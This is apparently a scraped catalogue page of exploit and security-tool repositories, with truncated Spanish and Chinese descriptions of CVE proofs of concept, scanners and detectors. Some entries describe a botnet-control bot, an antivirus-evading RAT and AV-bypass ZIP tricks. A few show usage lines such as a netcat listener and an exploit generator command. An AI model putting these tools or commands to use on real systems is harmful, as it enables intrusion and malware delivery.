alibaba__nacos_CVE-2021-44667_2-0-3

Nacos: Dynamic Na ming and Co nfiguration S ervice...

gringotts

CVE-2020-0601 prueba de concepto Una divertida prueba de concepto para crear tu propia CA raíz y certificado firmado basada en la vulnerabilidad CVE-2020-0601 en Windows 10. La base del problema es que el método CertGetCertificateChain validaba incorrectamente las autoridades de certificados raíz...

cve-2018-7600

CVE-2018-7600 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-7600 Autor de la imagen: https://github.com/knqyf263/CVE-2018-7600...

jenkinsci__workflow-cps-plugin_CVE-2022-25173_2646-v6ed3b5b01ff1

Pipeline: Groovy Plugin Introducción Un componente clave del conjunto de complementos de Pipeline, este proporciona el motor de ejecución estándar para los pasos de Pipeline, basado en un intérprete personalizado de Groovy que se ejecuta dentro del proceso del controlador de Jenkins. En principio...

cve-2024-3094-detect

CVE-2024-3094-detect XZ Utils 漏洞检查与降级脚本 该脚本旨在检查 Linux 系统上安装的 XZ Utils 版本，并在必要时将其降级到安全版本。它还能检测 Linux 发行版及其使用的包管理器。 功能特性 检查已安装的 XZ Utils 版本，判断是否存在漏洞。 检测 Linux 发行版（Fedora、Debian、openSUSE、Kali Linux）。 如需则降级 XZ Utils 至安全版本。 前提条件 Bash shell（大多数 Linux 发行版预装 Bash）。 超级用户（root）权限以执行降级操作。 使用方法 1...

Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708-

Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708- rce 漏洞利用，专为 pocsuite3 设计 https://github.com/knownsec/pocsuite3 请通过上面的链接安装 pocsuite 3。 如果你遇到任何问题，请联系 knownsec-404 团队。 请勿在此处提出 issues，因为这不是我的项目，我不承担任何责任。 并且仅用于教育目的分享。...

elegant-bouncer

ELEGANTBOUNCER ELEGANTBOUNCER es una herramienta de detección de exploits móviles basados en archivos. Emplea un enfoque innovador para la identificación avanzada de amenazas basadas en archivos, eliminando la necesidad de muestras in-the-wild y superando a los métodos tradicionales basados en...

CVE-2017-8570

CVE-2017-8570Exp.py 参考：https://github.com/rxwx/CVE-2017-8570 更改： 用法： root@kitploit: python2 CVE-2017-8570Exp.py -s write.sct -e write.exe -o write.rtf + RTF file written to: write.rtf...

CVE-2023-20198

CVE-2023-20198 检查目标IP是否存在CVE-2023-20198漏洞 python main.py TARGETIP...

ibm-sterling-b2b-integrator-poc

IBM Sterling B2B Integrator PoC 针对 IBM Sterling B2B Integrator（版本 6.2.0.0 至 6.2.0.2 以及 6.0.0.0 至 6.1.2.5，适用于 Linux、Windows 和 AIX 系统）中发现的漏洞的利用概念验证代码： LPE 命令注入——若认证已禁用 预认证反序列化 RCE ——已分配 CVE-2024-31903，相关 IBM 安全公告见此处：https://www.ibm.com/support/pages/node/7172233 有关这些问题的更多细节，请参阅我的 DistricCon 演讲《To B...

SMBGhost_RCE_PoC

SMBGhostRCEPoC PoC de RCE para CVE-2020-0796 "SMBGhost" ¡Solo para fines demostrativos! Úsalo únicamente como referencia. En serio. No ha sido probado fuera de mi entorno de laboratorio. Se escribió rápidamente y necesita trabajo para ser más fiable. A veces genera un BSOD. Usarlo para cualquier...

strutszeiro

strutszeiro 用于管理通过 struts 漏洞 CVE-2017-5638 创建的僵尸网络的 Telegram 机器人 依赖 pip install -r requeriments.txt 配置 root@kitploit: 创建一个 Telegram 机器人，将 API 令牌保存在 config/token.conf 中 创建一个 Telegram 群组，将群组 ID 保存在 config/group.conf 中 启动 python strutszeiro.py Telegram 用法 root@kitploit: /add url - 测试漏洞并添加新服务器 /explo...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 root@kitploit: python3 -m http.server 80 启动一个 netcat 监听器 root@kitploit: nc -nlvp 4444 使用 CURL 发送请求 root@kitploit: curl...

CVE-2024-5522

英文 一个用于WordPress网站CVE-2024-5522漏洞的PoC利用扫描器。该工具通过扫描目标URL列表并尝试特定载荷来判断目标站点是否存在该漏洞。 功能特性 自动漏洞扫描 ：扫描目标URL是否存在CVE-2024-5522漏洞。 自定义载荷支持 ：使用文件中的载荷进行漏洞检测。 安装 1. 克隆仓库： root@kitploit: git clone https://github.com/geniuszly/CVE-2024-5522 2. 进入目录： root@kitploit: cd CVE-2024-5522 3. 安装所需的Python包： root@kitploit...

vulnerability-spoiler-alert

漏洞剧透预警 在 CVE 公布之前了解安全补丁。 查看在线站点 | 通过 RSS 订阅 一个监控枢纽，它观察热门开源仓库，并利用 AI 检测提交何时正在修补安全漏洞——通常早在 CVE 分配之前。发现结果发布到一个复古风格的网站，并配有 RSS 订阅源。 起源与灵感 本项目是 Eugene Lim @spaceraccoon 的 spaceraccoon/vulnerability-spoiler-alert-action 的示例用法。 原始概念和研究记录在博客文章 发现负天数：用于漏洞研究的 LLM 工作流 中，该文章探讨了使用 LLM 在 CVE...

CVE-2023-33592

CVE-2023-33592 CVE-2023-33592批量漏洞利用程序 Uploading 捕获.PNG…...

CVE-2023-27350-POC

CVE-2023-27350-POC 描述： 该工具旨在利用 PaperCut MF/NG 8.0 及以上版本（但低于 20.1.7、21.2.11 或 22.0.9 版本）中的认证绕过漏洞。该漏洞允许未经授权访问系统，并可能被用于恶意目的。 安装： 1. git clone https://github.com/TamingSariMY/CVE-2023-27350-POC.git 2. pip install pyfiglet 使用方法： 1. python3 vuln.py 2. 输入 IP 地址：xx.xx.xx.xx Shodan Dorks： 1...

zombie-zip

Zombie ZIP ZIP 格式混淆技术，可绕过 98% 的杀毒引擎。 CVE-2026-0866 | VU976247 | 发布于 2026 年 3 月 10 日 技术原理 创建一个 ZIP 文件，其中： root@kitploit: Compression Method = 0 STORED Actual data = DEFLATE compressed CRC-32 = Checksum of uncompressed payload root@kitploit: AV Engine: Reads Method 0 → Scans compressed noise → No...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞...

Windows-X64-RAT

Windows x64 远程访问木马 RAT 目标 利用 CVE-2023-38831（WinRAR 6.23）和 Shellcode 利用技术开发 Windows x64 RAT，以绕过 Windows Defender。 系统说明 1. Shellcode 初始化 使用 Windows/x64 - PIC Null-Free TCP 反向连接 Shellcode 生成 Shellcode。 2. main.cpp 说明 在内存中注入并执行 Shellcode，建立反向 TCP 连接。 3. 编译并加密 main.cpp 将 C++ 文件编译为可执行文件并进行加密。 4. 利用...